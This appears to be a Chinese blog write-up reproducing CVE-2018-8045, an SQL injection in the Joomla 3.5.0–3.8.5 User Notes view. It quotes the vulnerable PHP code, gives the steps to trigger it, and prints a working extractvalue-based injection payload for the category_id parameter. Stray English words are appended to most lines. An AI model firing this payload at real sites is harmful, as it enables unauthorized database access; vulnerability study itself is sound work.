CVE-2018-8045php
受影响版本:joomla!3.5.0-3.8.5git
漏洞描述:github
joomla!3.5.0-3.8.5版本对sql语句内的变量缺乏类型转换,致使User Notes列表视图内SQL注入漏洞。sql
从github上下载代码并安装。this
产生漏洞的文件为:"/administrator/components/com_users/models/notes.php";url
代码在126-121行spa
$categoryId = $this->getState('filter.category_id'); if ($categoryId && is_scalar($categoryId)) { $query->where('a.catid = ' . $categoryId); }
很明显$categoryId变量没有过滤或者类型转换直接带入SQL语句执行。致使SQL注入漏洞产生。scala
访问url:http://localhost/joomla/administrator/index.php?option=com_users&view=notescode
选择Search Tools选项并选择Uncategorised便可触发漏洞条件,这时候用burp抓包。component
发现category_id参数,咱们在repeater中发包,将该参数值改成7 and extractvalue(1,concat(0x7e,(select database()),0x7e))
成功复现漏洞。